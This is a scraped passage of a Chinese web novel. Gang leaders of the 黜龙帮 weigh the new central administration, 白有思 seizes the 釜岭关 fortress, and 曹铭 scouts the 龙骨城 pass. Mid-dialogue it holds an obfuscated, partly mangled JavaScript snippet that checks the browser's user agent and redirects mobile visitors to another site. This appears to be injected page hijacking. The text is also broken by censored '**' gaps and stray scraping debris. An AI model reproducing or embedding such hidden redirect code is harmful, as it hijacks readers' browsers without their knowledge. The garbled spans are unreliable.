说着,他抬手指了指墙上挂的无鞘长剑:“首席看中我的天分,一直希望我能跟李定学一学关陇那边的军学,兼做实践,好成黜龙帮自己的统帅,这事我一直知道;除此之外,私人前途我一直也是在意的……譬如今日,首席这般轻易答应,我没来得及劝他入宫,便觉得少了一次确立地位的机会,也不免焦躁。”…。。 徐大郎这般自黑,却泰然自如,而不知为何,反而是单通海愈发无言,只能以掌抚面……甚至有遮面之态。 此时此刻,这位昔日济水上游黑道头号人物,当时黜龙帮建帮三大头领之一,眼下最大行台的掌控者,只觉得自己越来越心慌……之前还没感觉,但仅仅是一个秋收前后,属下头领试图杀李枢以证清白,昔日合作者李枢的突然背帮,引以为根本的济水上游子弟越过自己与张行建立联系,包括之前贾务根自请放弃兵权,还有今日张行的入宫,面前徐世英对他自己转变的直言不讳,全都让单通海感到惶恐。 他总觉得,总觉得自己好像落后于人一般。 而且是忽然间落后于人……明明年初的时候,自己还是帮内典范,是力挽狂澜的英雄,不然如何做得这济阴行台的总指挥?这可是黜龙帮实力最大的一个行台、也是起家的地方。 哪怕是如今南面要再起一个行台让伍大郎来做,可获得了荥阳的济阴行台地位依旧稳若红山。 但现在…… 想到这里,单通海复又看了徐大郎一眼,心中不由一叹,然后严肃提醒:“徐大郎,不是我说你,你变了过来,认真做事自然是好的,却如何只为他张首席一人不计成败生死呢?就好像今日的局面,大家一起住进来是好事,但你只是为了迎合张首席的主意却是不对的,而是应该考量得失……大家本就该共天下,所以该一起住进来。” 徐世英闻言笑了一笑,却又摇头:“单大哥这话有些古怪……甚至有些虚伪了。” “怎么说?”单通海蹙眉道。“咱们之间不必忌讳。” “那是自然,咱们之间既是早许久结义的道上兄弟,又是一起在济水做生意的乡人伙伴,还是一起建帮的人,打断骨头连着筋,真真的是一荣俱荣一损俱损。”徐大郎幽幽道。“所以我今日才这般坦荡……但是单大哥,我是真觉得你想错了…… “其一,如今局面,张首席便是不做什么王什么公,也是帮中唯一领袖,不可动摇那种,从他、助他,分明就是在为帮中使力气。而单大哥你自诩规矩大于天,可帮中规矩难道不是首席为了他的志向所制定的吗? “其二,也是真正重要一条,单大哥你如今的姿态和局面果真是一心为公吗?难道不是因为你之前一直存了野心,不想受制于首席,结果首席日渐强盛,你又忧心自己会被排斥,转而依仗所谓帮中规矩来保护你的地位吗?都是存私化公,怎么还瞧不起我徐大了?” 单通海听到前一条还能忍耐,却已经面色发红,听到后一条,干脆直接站起身来,便往外走去。 徐大郎在后面坐着不动,只捏着葡萄梗来问:“饭菜已经做上了,大哥不吃了饭走?” “没有怨徐兄弟的意思。”单通海摆了下手,往外不停。“我现在心乱,容我想想。”…。。 徐大郎也不追的,只坐在那里吃葡萄。 就这样,单通海胸口堵着一口气走出来,便来外面的巷子里,然后越过郡府,来到另一个巷子处,却又踌躇起来……今日虽分派了行宫,可这之前大家总还要日常居住,故此,按照惯例,黜龙帮大行台的总管、分管们,外加直属领兵头领都在郡府两边的几条巷子安置。而他刚一出来,其实是想去寻另一个一荣俱荣一损俱损的,也就是王五郎那里的,但一想到王五郎跟某人更亲近,才到这边巷口便消了那股冲动,转而颓丧,几乎想回城内自家产业里睡觉的。 唯独虽然天黑,可因为张首席第一次来邺城的缘故,郡府周边还总是纷扰,往来都是熟悉的帮内人物,单龙头又是个好面子的,来到巷口再退出去不免要被人笑话,便硬着头皮钻了进去。 不过,只进了这个巷子没多远,却正见到换回抹额的刘黑榥拎着一盒东西从一个院子出来,里面的人送出来,却居然是窦立德。 单通海大定,赶紧上前招呼。 而待刘黑榥急匆匆走了后,单龙头便顺势进了窦龙头……或者说是曹夕曹总管的院舍。 曹夕这里可就热闹完备许多,里面颇有几个男女在此,而且多有些眼熟,不用想都知道,这便是高鸡泊里的那些人……那两年过于凄惨的经历让这些人结成了一个牢固的团体,此时窦立德过来,这些已经是帮内中层的人自然纷纷**……甚至,考虑到此处平素只有曹夕一人,说不得有些人直接就是住在这里的。 不过,单通海可不是来计较这些的,他只是准备蹭个饭便走,而入了门,曹夕等人刚刚迎上来,他便努嘴询问:“刘大头领这是怎么回事?见到我也不多留?” “单龙头不知道,他现在只想着搬家的事情。”曹夕笑着解释道。“明明下午已经跟着看了,却又再来验证帮里分给他的住处到底在哪里,然后又将他之前存在我这里军功、赐田的出息都拿走了,说要定制家具,雇人做帮厨……” “真要搬进去,帮厨什么的得帮里统一雇佣吧?”单通海一时间也不知该说什么好。 “管他呢?”窦立德拉住单通海往里面走。“这厮半辈子烂泥里糟践惯了,自然是按捺不住,不然今天首席也不会先点他了……咱们进来吃饭,单龙头是专门来寻我的?” “哦。”单通海醒悟过来,落座之后,却不尴不尬转到一个话题上。“之前来河北的路上,我跟首席说大行台陈总管的权责过重了,却被教训了回来……想着跟你说一下。” 窦立德一声叹气,然后瞟了一眼自家老婆的背影,方才来应:“首席是下定决心了,而且也是大势所趋……你不知道吧?今晚上首席就是去的陈总管院子里,准备跟他同塌而眠的。”…。。 “同塌而眠无所谓,关键是大势所趋……就像今日的事情,看起来有些出奇,但我想了一下,何尝不是张首席拿自家的称孤道寡来换大行台的权威呢?”单通海正色道。“咱们这位首席素来喜欢如此,而等制度建设好了,他的权威更上一筹,再做皇帝也是不耽误的。” “确实。”窦立德立即应道。“首席权威起来是必然的,大行台也是大势所趋,咱们这些人要有计较才对。” 单通海心下一闪,大势所趋四个字跟之前徐世英的言语混在一起,一时便有些失神……会不会不是自己落后了,而是说随着大行台建立和首席的绝对权威不再被质疑,自己原本以为能控制的地方失控了呢?这才导致了自己之前在徐大郎那里的惶恐? 正想着呢,曹夕曹总管亲手端过来一个托盘来,到桌前放下酒水,然后也从容落座:“瞧两位龙头,好像这是什么坏事一般,如何就要唉声叹气?今日无论如何,难道不是大喜事?” 窦立德一惊,赶紧来笑。 便是单通海也干笑了一声。 随即,几人吃了些菜,喝了几杯酒,话题也顺势转向了一些闲话。 “你家小娘如今在那位千金大宗师那里帮忙做医院跟医学院的联络,其实是首席用心做锻炼……等事情成了,加上年初的在河北的战功,估计明年头领也差不多了。”单通海理所当然的从窦小娘的行迹说起。“听说年后要成婚?” “没有准呢。”窦立德精神一振。“首席跟我说过,那个苏靖方我也见过几次,但总觉得太仓促。” 单通海想了一想,认真来问:“我其实有些好奇,苏靖方是李龙头唯一的弟子,若婚事成了,便是你们两家联姻,到时候河北三行台,俩家是亲家……不是说什么顾虑和防备,而是从张首席那里来看,总该有些考量吧?如何反而要促成此事?” “单兄这就想岔了。”窦立德立即摇头。“你以为河北这边是只是大行台立起来,其他人就都侧目了?其实真要是相互瞧不上,我们这些河北义军跟李龙头那些整个依附过来的河北官军之间才是真真正正的心怀耿介……反倒是围着陈总管身边的早一批战败的降人,两边都能说上话。” “不对吧?”单通海略显不解。“李龙头的武安行台未倒戈之前就是河北的边缘势力,如何与你们有耿介?” “以前是没有,但从年初开始就有了。”窦立德闷了一口酒,摊手比划了一下。“你就像之前的邺城行宫大使吕道宾,哪次围剿我们高鸡泊邺城不发兵配合?年初那一战后就跑到武安去了,李定收拢了他,据说要等谢总管回来,请谢总管举荐入帮的。” “这种人多吗?” “这么说吧……年初那一战后,整个河北动摇的大魏官军如果有心的,都往武安去了,便是薛常雄那里也是走冯无佚的路子联结的武安。”…。。 “这不合规矩。”单通海一口酒下肚,有些不满。“只算吕道宾,他当日从逃出去,算是敌还是友?跑到武安,算是投降还是临阵倒戈?而且李四郎说要等谢总管回来举荐入帮……那这几个月他岂不是知情不报?” “没那么多计较。”窦立德反而为李定解释了过来。“当时急匆匆南下,便是计算也要从南面那一仗打完算起,可是那一仗打完以后首席又说了,什么都可以缓一缓……” 单通海无奈点了点头,敷衍过去,心中却愈发茫然。 不要说这些话题,他进这个院子都是稀里糊涂进的,本质上他还是在计较那个问题。 还是曹夕此时插嘴说了句公道话:“说小娘婚事,如何扯这么远?小娘自家乐意,首席做了媒,不就行了?” 话题终结,窦立德也只能赔笑点头。 “河北这边最近有什么动向没有?”单通海再度饮了一杯,然后收敛心神来问。 “能有什么动向?”窦立德明显也喝的有点劲道了,只眯着眼睛来答。“首席今日这般说,乃是对着所有人公开讲的,做事的却是早就知道他的意思,大家便也多偃旗息鼓……” “你们就什么都没做?” “怎么可能?且不说行台自家的事情,薛常雄那里也没放松,我们这边是跟薛常雄手下那些本地出身的豪杰接触,李龙头那边是冯无佚冯大头领在跟有大魏朝廷背景的接触,效果比想的要好……只是没有首席的军令, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167995|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家全都引而不发罢了。 “还有魏公,他在大肆招揽河北的人才,文修、武修全都要,识字读书的也要……尤其是文修,去的极多。 “至于说大行台里面,我是知道有不少事情,各部都有想法……蒙基部、军械战马部这几处做的尤其出色……崔肃臣崔总管也有些想法,马分管回来后更是知耻,整日都在参谋中打转,还往北面探查地理,安插间谍什么的,忙的不可开交……我估计,这几日他们都要纷纷寻首席去做汇报和请示了。” 单通海听到这些,愈发不安,却还是强压着来问:“若是这般来说,河北这边果然尽心尽力、欣欣向荣了?” “称得上如此。” “就没有个颟顸的?” “有。” “谁?” “王大郎。” “那是谁?” “屯田部的分管,年前清河随韩二郎立了大功的……” “他为何颟顸?” “因为屯田兵被开释为授田良民了,他就个负责拿新刻印章盖章的……” “这算什么颟顸?张首席放他在这里,不就是看重他没有半点根基,只会配合,不会抵抗吗?” “那就没有了。” “我们这位龙头是为自家失了屯田部的事情计较呢。”关键时刻,还是曹总管点破原委。“可俘虏屯田本就不是长久之计,而做了总指挥,便该下了这些分类的差事。”…。。 “我倒不是这般想……”窦立德赶紧解释,但解释到一半还是屈服。“这事倒是我颟顸起来了。” 单通海犹豫再三,终于忍耐不住,打断人家夫妇的亲密互动:“窦龙头、曹总管,我素来佩服你们夫妇精明正派的,这次来,我其实是想问一问你们……你们觉得我是不是哪里做的不好,或者身上有什么天大的漏洞要填一填?” 窦立德跟曹夕对视一眼,既有些惊异,又似乎在犹豫什么。 单通海一看这个样子,便心中拔凉,如何不晓得,在窦立德这种聪明人、在曹夕这种正派人眼里,自己确实是一直有大坑洞的? 而停了一下,窦立德摆摆手,只对自家妻子来言:“辛苦曹总管,再去弄两个菜。” 曹夕会意,起身离开。 人一走,窦立德便正色起来:“老单,你既说到这个了,便是你自家有了认识,那我也与你说几句掏心窝子的话……有件事我一直不懂,你看我这个人,能耐远不如你,可从天下开始板荡起来的时候,却也知道,人心刀兵什么的才是要害,钱财田土若不能收拢人心,留着便是无用,为何你反而因为此事混沌起来,以至于成了大家侧目的所在呢?” 单通海大惊:“我没有贪财夺田啊?当初帮里刚起事的时候,我一个族叔便因为这种事被砍了,我虽然因为此事跟首席起了**,却也觉得我那族叔做事太浅显恶劣,从那以后约束的严整。” “不是说举事后,是举事前。”窦立德正色点出。“而且只约束的严整也是不够的。” “这我就不懂了。”单大郎摊手以对。“我举事前还做黑道呢,徐大郎、王五郎他们也是如此,若论这个,人人该杀。” “不是这个意思。”窦立德干脆挑明。“我问单兄,起事前你家的庄园是不是没有被度田重授?” 单通海一愣,明显想起徐大郎的“清苦“,然后只缓缓颔首:“是,但当时都是如此……帮里头领原本的庄园家产都不动,然后按军功再授,只后来废除奴籍时改了雇佣,立了合约……这?” “这不合时宜了。”窦立德正色道。“当时不做这个,是因为帮中兵马都是你们这些人的,若是做了,黜龙帮怕是立马要分崩离析。” 单通海点点头,却又摇头:“现在做了,怕也还是要出乱子……那些混子,当日**固然是被局势逼的,但求得不也是田土安乐吗?尤其是翟宽那些人,本就被夺了兵权,还要夺他们的田土,不反也是反了。” “所以大家也就认了,首席更是挑明,建帮的功勋是可以放在明面上计较的,这些也可以算是他们建帮的勋田。”窦立德苦口婆心。“可那是那些混子的路数,单兄你呢?你跟那些人难道是一样的吗?你难道没有志向吗?你也想求田土安乐?你可是黜龙帮下面最大行台的总指挥,是龙头,是黜龙帮怎么数都数不出前六的人,你怎么能计较这些呢?”…。。 单通海一时不知道该怎么回答。 而窦立德也便继续了下去: “单兄,时局不一样了,如今黜龙帮几次难处熬过去了,外人不晓得咱们不晓得吗?眼瞅着最少是个三足鼎立的局面,取天下也不是看不见摸不着的了。所以现在这个时候,有志向的人,都想着更进一步,而没有志向的人,恐怕一念之间就滑下去了……你以为张首席为什么缓这一年?只是休养生息,到冬天足够了,甚至现在就可以打,喝着新粟粥扛着铁裲裆拎着长矛照如何不能打?可首席为什么一定要缓一缓,从头到尾从上到下缓一缓?” 单通海的脑子里已经有兔子在跳动了,却还没有抓到兔子的耳朵,于是其人有些艰难的催问:“为什么?” “因为张首席在等,等想追上去却爬的慢的人爬上来,等那些追不上的人自家坐稳当免得被晃荡出去。”窦立德握着单通海手,言辞恳切。“这就好像一锅浑水加油,静澄一段时日,把油倒出来,把渣子收好……这是在等我们!单龙头,这个时候,你可千万别犯糊涂,咱们俩说好的,往后还要一起相互扶持呢!” 单通海如遭雷击,原来如此! 原来如此! 且说,单大郎虽然一直是以武夫形象示人,行事做派也显得固执强横,但不代表他脑子不清楚,他要不清楚,别说后来“讲规矩”了,只是之前黑道老大,把控济水上游走私生意他都做不来。 而经历了这些天这些事情的刺激,与今日徐世英、窦立德的点拨,当然还有他一直以来的思考,自然也是忽然就醒悟了过来。 事情其实不在于什么田土,也不在于对那位首席如何转变态度,而在于黜龙帮发展到现在,已经要转型了……这个转型不是什么帮会不帮会、称不称王这种表层,而是说如今的黜龙帮地盘太大了,要建制,建立起一个统一运行调度的机构和对应的制度,大行台和维系张行绝对领袖的身份都是属于其中一部分。 所谓文治的重要性也会渐渐抬头。 便是战事,往后的战事也不是走一步看一步,各处忙各处的样子,而很可能是有细致谋划、大规模动员的大规模战争、全面战争。 那么对应的要求是什么呢? 很简单,要有做大事、做公事的本事和器量,不是不让你存私心,但是要不耽误做大事、做公事,而且有本事也好,有器量都行。 所谓不进步,就是退步! 最起码对于你单通海这个级别的要求在这里。 一念至此,单大龙头一声叹气,彻底清醒过来:“说得好,大势如潮,咱们既然存了几分志向,又落在这个位置,就该做出些样子来,不能老是计较什么边边角角……我回去后,先安抚了那些兄弟,然后将自家之前的庄子度理清楚,迁一些狭乡的百姓过来,只留后来军功给的田亩。”…。。 “只要念头通了,怎么做无所谓。”窦立德叹道。“我也是听说了张首席在济阴呵斥房彦朗的那些话悚然而惊的……连收拢人心的法子都变了,可见上下局势是真变了!” 单通海不再多言,只觉得酒劲发作,弄得满身是汗,被夜风入堂一吹,不免发凉。 而二人收敛心神,正准备再用些酒菜时,忽然间外面便喧哗起来,一片乱七八糟……两人不解,却也不动。 停了半晌,曹夕竟也不回来,也是愈发糊涂。 好在过了一会,高三嫂进来,只哭笑不得起来:“窦大哥、单龙头,你们晓得是怎么回事吗?刘黑榥那混货,都大头领了还改不了毛病,大半夜的就要搬进宫里去,偏偏张首席在陈总管那里听了,居然准了他……大嫂如今无奈,只能去帮他做安置。” 又一阵秋日凉风吹来,窦单二人面面相觑,双方都从对方眼神中看到了疑惑——这也算是跟上去了? 数千里外,月光如纱,东夷釜岭关城内,也一群人正在宴饮,而忽然,也是一阵怪风袭来,正入堂中,便将正在宴饮的一众人吹得心背发凉。 风过之后,副将刘延寿在下方恭敬拱手:“将军,此风怪异,莫不是不祥之兆?何不撤席歇息?” 端坐在堂中首位的乃是釜岭关守将王元真,其人摆手冷笑:“刘副将,你莫忘了,我可是在青云山修行过的,如何不知道风从赤、雨从青、雪从黑、电从白这种粗浅道理?尤其是咱们东胜国在中原外头,素来是讲究这些的。” “那……莫非这不是什么凶险之兆?”刘延寿一时不解。“我想错了?是吉兆?” “不,应该就是凶险之兆,而且应该是应的那魔头白娘子。”王元真愈发冷笑不止。“那白娘子轻易斩杀钱支德这条老狗,已经不是寻常宗师模样了,她现在正往此处来,若至此地,只要动起刀兵,郦子期又不来救,咱们必死无疑。” “那……”刘延寿是真不解了。 “她便是来,算算路程,也还有一百五十多里呢。”王元真举杯昂然道。“十万之众,日行二三十里已经了不得了,也就是有足足五日空闲,何必现在撤宴?依着我看,这应该是我平素礼敬,所以至尊垂青,提前来做提醒。” 刘延寿缓缓颔首,却还是不安:“便是如此,三五日后,那白娘子到了,咱们又该如何应对呢?” “此事我早有计较。”王元真依旧举杯睥睨道。“其人既至,我也不准备硬抗,只伏低做小,好做招待,却在招待军官的酒水中下毒,在赠与他们大部队的粮食中放巴豆,然后直接逃走……我已经专门让人去采买了,明日就到……我就想看看,那白娘子修为通天,难道还能管人拉肚子?如今秋收已过,昼热夜冷,无病也风寒,小病也能拖延个旬日,到时候我虽一剑未发,却也足以伤她一臂,岂不比钱老草送了性命值当?”…。。 刘延寿听了一趟,心中既不屑对方计策内容,也觉得这计策可行性太低,但偏偏自家门第低下,又是副手,总不能与这位王族大将对抗,便努力点点头:“王将军才策过人,说的极是,末将受教了。” 王元真真真得意,便要捻须再做解读。 孰料,就在这时,门外忽然传来一个洪亮女声:“王将军才策过人,我也觉得受教了。” 堂上众人一愣,便看到两个人直接从门外上方落下,然后径直入内,乃是一女一男,男的倒也罢了,女的一身淡色锦衣,衣服上还有明显血污没有洗干净,右手则拎着一柄长剑,左边胳膊还绑着布带,偏偏夜间连护体真气都不显,也是让人惊悚一时。 而那女子见状,也不追问戏谑,也不多言,径直走上前去,绕到案后,将那早已经瘫软的王元真揪着领口便拖将出来,然后也不管对方哀嚎求饶,一剑便捅入对方心口,复掷在地上,然后转过几案,在主位中坐下,并从容举杯: “诸位,这酒中应该没有巴豆,且陪我白有思饮一杯如何?” 说完,自行一饮而尽。 周围人一直到此时才反应过来,却也战战兢兢,哆哆嗦嗦举起杯来陪酒。 白有思放下酒杯,四下来看,见到众人都饮了酒,不由鼓掌欢笑,道了声好,然后方才指了一人:“刘副将是不是?这是我们黜龙帮的钱府君钱头领。” 一声不吭的钱唐朝刘延寿拱手示意,慌得后者赶紧起身回礼。 “刘副将,辛苦你一下,让钱头领跟你一起去聚众点兵,先让军官们集合来见我,再让士卒们放假归乡半月……也省的再做杀戮,你觉得如何?”白有思甚至征求了对方的意见。 刘延寿当然不敢有意见。 不过,其人走到门外,却又回头入门下拜,言辞诚恳:“白总管,在下若做了这种事,东胜国是留不得了,还请在下随白总管西行,寻一条生路。” 说话间,白有思在座中又斟了一杯酒,便举杯饮胜,以作应承。 PS:感谢Llld老爷上盟,感激不尽。 pt39314410。。 ... 第四十一章归来行(7) 釜岭关内,白有思正在校场那里审案。 案子很简单,有人路上去岭中采秋日野果,坠崖**……但同队的其余伙伴却说,去采果的人里有那人仇家,所以此人之死恐怕并非偶然。 故此来告。 到了眼下,已经知道的是,仇家是真的,两人都是军汉、俘虏,一个是北地出身一个是江都周边出身,一边信黑帝一边信赤帝,天然不合,结果编排队列时因为都是轻度残疾,恰好挨着,一路上又因为分粮和立营的事情生了龃龉,导致矛盾不断……就在昨日晚上,因为城内新粮发下,双方因为抢占锅碗再度发生冲突……若非是程名起素来军纪严厉,而王振又**不眨眼,怕是当时就要火并的。 而采果坠崖时,这俩人确系一起在山岭中。 但是,死者滚落小崖才被发觉,致命伤明显都是顿挫伤也是实情。 换言之,这似乎是一桩无头案。 白有思听完叙述,扫视了一眼身前的尸体和跪伏在尸体后的几人,立即醒悟:“是钱唐让人送来的吗?” “是。”临时任命的“巡骑”队长赶紧应承。 “我知道了。” 白有思一边说一边走了下去,却是宛若把脉一般蹲下捏起了死者的手腕。 就在众人惊疑之时,下一刻,细密的辉光真气便顺着死尸的手腕处朝着身体各处铺陈过去,而且是一条一条一层一层的,先是尸体内部经脉,十二正八奇,便使得尸体隐隐透光,然后是肌肉骨骼,再是皮肤,最后是衣服,不一会,整个尸体便金光熠熠起来。 而且真气过处,纹理分明,有的通有的不通,暗伤擦面清晰可见。 过了片刻,白有思松开手站起身来,正色宣布:“此人确实只有钝挫伤,但后背一处有长条棍状施力痕迹,略显奇怪,当时可有人持棍棒在侧?棍棒什么样子,来做个比较!” 此言一出,旁边巡骑立即投出一个短棒,而下跪中的一人也立即叩首不断:“请白娘子饶命!” 竟然吓得直接招认了。 “这是此人拐杖……”巡骑队长赶紧解释。“总管可还要验证?” “验一验吧,又不麻烦。” 说着,白有思剥开死尸后背衣服,然后单手拎起,使后背对向众人,紧接着金色真气自手中溢出,沿着身体各处游走,很快将各处暗伤、明伤给显露出来,然后果然在后背左胛之下画出了一条明显的棍痕,却又将其余真气散开,只留此痕。 巡骑队长赶紧拿起拐杖,比划了一下,一开始没有对上,将拐杖掉过头来,用拐杖的头部比照时,印痕却居然分毫不差。 围观众人哗然惊叹,议论纷纷。 而那人也只是依旧叩首求饶罢了。 白有思摆摆手,示意巡骑将此人带下去行刑,却又转头皱眉来问:“钱唐既安排了此事,他人在何处?” 巡骑队长是事件主要参与人,还以为对方是对钱唐钱头领擅自安排这种事情不满,便慌乱去寻。 其实,这倒是这个临时从俘虏中选拔任命的巡骑队长想多了……白有思并不特别反感这种人前显圣的手段,尤其是眼下需要穷尽各种手段来维系队伍的齐整,莫说这种表演式的断案了,只要能安定人心,就算是让她表演剑舞都行。 她只是单纯不解钱唐怎么安排了这种事情本人却消失了? 要知道,原本负责对东夷官方外交的钱唐,在于金鳌城断后并重新追上队伍后一直担任“不管总管”的任务,而这次也是直接负责起了关城的物资发放……突然间找不到人算什么? 而过了半日,白有思几乎要以为自家这个心腹也被人一棍子捅下悬崖的时候,钱唐终于回来了,而且还带回了一个并不应该算是意外、但似乎还是应该让白有思诧异的人。 “白三娘。” 曹铭面色发苦,难掩疑惑。“我为何至此?” 白有思明显无语:“齐王自家至此,为何反来问我?” “不问你问谁?”曹铭摊手对道。“我本以为你这里沿途顺畅,听说你过了草关便与王元德告辞主动追来,路上才知道钱支德那种东夷大将都被伱杀了,见到钱府君才知道你沿途已经破了三关斩了三将,还收了人家正经的副将做降人……这跟直接开战有什么区别?而且为何王元德还能放我走?退一万步来说,我出发时他总知道钱支德**吧?如何不让人疑惑?” 白有思终于失笑:“或许是王元德私心太重,前面死的是郦子期的后辈跟东夷王的心腹,他非但不在意反而高兴呢,便是王元真也未必是他的人。” “王元真是他的人。”曹铭正色提醒。“我在他那里做了打探,是知道的。” 白有思歪头想了一想,继续辩解:“那就是你出发时他还不知道王元真已经**。” “有这么巧吗?”曹铭气急。“而且便是他真不知道王元真已经**,可你连杀了郦求胜跟钱支德,他也应该给王元真提醒才对……” “可能也提醒了吧?”白有思若有所思。“但我下手太快。” 曹铭无语至极,放弃了与对方的争论,反过来询问:“接下来你准备如何?” “虽还有千把里路,但其中数百里只是落龙滩荒芜罢了,剩下几百里中,若路线妥当,只还有两三处要紧之地,一往无前便可。”白有思平静做答。 曹铭想了一想,也收起各种情绪,叹了口气:“如此局面,也只能如此了。” “话虽如此,可有件事还需要齐王去做。”白有思片刻都不耽误。 “何事?”曹铭明显有些惊吓警惕之状。 “前面龙骨城倒也罢了,只是险要,再往前去,落龙滩这边有两个屯兵的大营,据说各自有一万七八千的常驻戍卫兵,虽无宗师,加一起却足足有十来个凝丹、成丹,若是荒地旷野之中他们出兵阻拦我们,我们必然要溃散的。”白有思正色道。“还请齐王作为使者走一遭较近的南侧大营,告诉他们,我们只想西归,并无作战之意……落龙滩地形开阔,放我们走并不碍他们的事。但反过来说,若是他们非要动手,我们的队伍或许会遭大害,但我们也必然能重创他们!” 曹铭松了口气:“若是这般,我愿意前往。” 白有思自然微微展颜。 而曹铭犹豫了一下,复又来问:“落龙滩大营是这般处置,那更近的龙骨城天险你准备如何过?” 白有思摊摊手:“突袭、斩首、逼降……还能如何?总不能请客吧?不是我每次去人家都在摆宴的。” “也是。”曹铭想了想。“龙骨城虽是天险,却根本装不了许多兵,能有个凝丹的守着就不错了……只是你若处置了龙骨城,务必**息,不然我在落龙滩那边就难了。” 白有思自然点头。 曹铭也倒痛快,见到对方答应,也不耽误时间,分明刚刚抵达,还是单骑匆匆走了。 人一走,过了好一阵子,之前一直保持沉默的钱唐跟着白有思忙碌了一阵子,却又忽然出言:“总管,我觉得齐王说的有些道理……” “哪些话有道理?”依然在校场上,却只是在对照一些表格的白有思头都不抬。 “郦子期、王元德态度确实不对路……”钱唐眯着眼睛看向自己这位老上司。 “哪里不对路?”白有思依旧不抬头。 “首先,郦子期跟王元德都不可能是什么懦弱昏庸之辈。恰恰相反,郦子期是大都督、大宗师,东夷人能扛过三征,此人居功至伟,如此人物,乃是英杰中的英杰。至于王元德,也参加过二征与三征,而且刚刚我跟齐王说起此人,都觉得此人身为皇族年轻一代领兵大将,却全心全力经营派阀,野心极大,明摆着是想按照东夷这里的**传统做宗室权臣,甚至想着继位也说不定……他也算是半个枭杰的。” “有道理。” “这俩人既是英杰与枭杰,对上我们此次西行之事,便该利索些……若是真得了至尊明示,或者拿我们没办法,便该放开道路,早点将我们送回去省事的……钱支德只忠心东夷国主,或许有驱虎吞狼的可能,但也觉得荒唐,何况王元真、郦求胜呢? “而若是决心将我们留下,他们也不会犹豫,早在过草关前便该以大宗师领袖,合大军将我们扑灭的。 “便是不好动手,存了忌惮之意,想靠粮草拖垮我们,咱们连破两关就够他们该注意,如何到了眼下还要放任?乃至于齐王都能从容归来?” “所以,你觉得是怎么一回事呢?”白有思终于抬起头来。 “我思来想去,觉得他们一定有别的图谋……他们自己的图谋。”钱唐正色道。“只是要借我们成事罢了……就好像他们或许真想杀钱支德这样,但肯定更大,否则何至于放纵我们至此?而且,如果不出意外的话,这事应该就在前面。” “我也是这般想的。”白有思点点头,复又低下头去。“但那又如何?眼下唯一忧虑的,不过是既然许诺将这十万众带回去,结果却不能做到罢了。” “不错,眼下局势,已经不是箭在弦上不得不发了,而是箭已经射出去了……我也只是稍作提醒,以防总管万一真的没有计较。”钱唐放下心来,却又来问。“龙骨城怎么说,要极速发兵吗?” “不必。”白有思再度抬头,双目如星。“龙骨城的防卫力量不值一提,我已经有了计策。” 钱唐自然不再多言。 当日傍晚,风尘仆仆的曹铭来到龙骨城外,驻马在了龙骨山对面的一个小坡上,借着最后一束阳光,望着这座天险微微皱起眉,并旋即剧烈咳嗽起来。 咳嗽是江都军变落下的病根,皱眉却是这位大魏朝的余孽敏锐意识到,他跟白有思似乎都低估了此处天险。 虽然之前十几年中,他早就从各种军报中得知过此城此山的情报,甚至见过大差不差的模型,但不是真到了此地是意识不到一些情况的。 首先,这座城是东夷人为了防备中原方向的大规模进军专门依据地势修筑的城池,或者说是堡垒。真要算它的总体面积,似乎比登州城都大,因为它干脆是沿着龙骨山走势修的城墙,以至于将整座山包裹了进来,但因为山势陡峭外加龙骨山怪石嶙峋的同时几乎是寸草不生,实际使用面积却小的可怜。 诚如之前他自家所言,此城之逼仄顶天了进去千把人,而若是当日一征时郦子期亲自入此城镇守倒也罢了,此时便是有个出挑的,如何是白三娘对手? 如此分散的防御设计,便是来个宗师怕是都难结阵。 那么问题在哪里呢? 问题在于这座天险下方狭窄的通道。 曹铭几乎可以想象,即便是这座城轻松入手,可十万乌合之众想从此处经过,却不免要耗费时日,而且会被这座山天然隔成两段。 实际上,以这座黑漆漆的山城为限,东西两面望去,连地形地貌都不一样……虽然咋一看都是发黄的模样,但东面乃是丘陵、平原交错,上面到处是秋后枯黄的植物,也有点缀的森林与河流;西面灰黄一片,却是典型的戈壁滩,只顺着河流走向,衍生着大量沼泽,此时秋后,到处都是密集的芦苇和蒲柳罢了。 一时间,这位大魏余孽便想回去提醒白有思,甚至想建议对方从北面通道绕行,但思来想去,白有思都不可能会忽略掉这个问题,反而这么多人绕行到北路怕是要在落龙滩遭遇冬日,然后死伤枕籍……一念至此,曹铭只觉得自己此行任重道远,为了老母和仅存的独子,怕是要尽力而为了。 便也不管不顾,打马西行了。 夕阳西下,断肠人在天涯,不止是曹铭在辛苦奔波,河间最北部的滹沱河畔,狐狸淀内,也有人一直到深夜才停止奔波,然后点燃篝火。 有一说一,此地蒲柳与芦苇极多,竟与曹铭踏入的戈壁滩中沼泽地极为类似。 倒是同是天涯沦落人,相同何必相逢了。 篝火旁,闻着鱼肉被烤焦的糊味,崔四郎崔玄臣有些不耐烦的伸了下手,似乎是要从族弟那里把鱼抢救过来,但也就是此时,他忽然觉得右边大腿一侧奇痒,伸进去一摸,竟摸出一只秋后已死的毛虫壳子来,心中无语,赶紧扔入火中,复又忍不住隔着衣服挠了几下。 旁边几人中,除了一个崔二十七郎修为低一些,又在专心烤鱼,其余两人全都洞察到这一幕,也都有些黯然,只是这两人都算是心思深沉之人,并没有表露出来而已。 而崔四郎何等精明,也是迅速察觉到了气氛,却又不知道该如何计较,也只好继续板着脸,竟忘了从族弟那里把烤鱼抢救过来。 过了好一阵子,竟然还是崔二十七郎开的口……他以为自己将鱼烤的将将好好,却在转交烤鱼时才发现,鱼的另一面已经被火舔的焦糊一片,却又赶紧翻了回去:“叔祖,滹沱河对岸就是鄚县,咱们为何不渡河在那边落脚,反而要在这里宿营?依照你的修为,难道还怕谁生歹心不成?” 俨然是存了抱怨的。 而一行人中最年长的一人,也就是当日被白横秋卖了的崔氏族长崔傥,闻言只是笑笑,然后接过焦糊的烤鱼来,却并不吭声,似乎是等崔四郎这个后辈来替自己做解释。 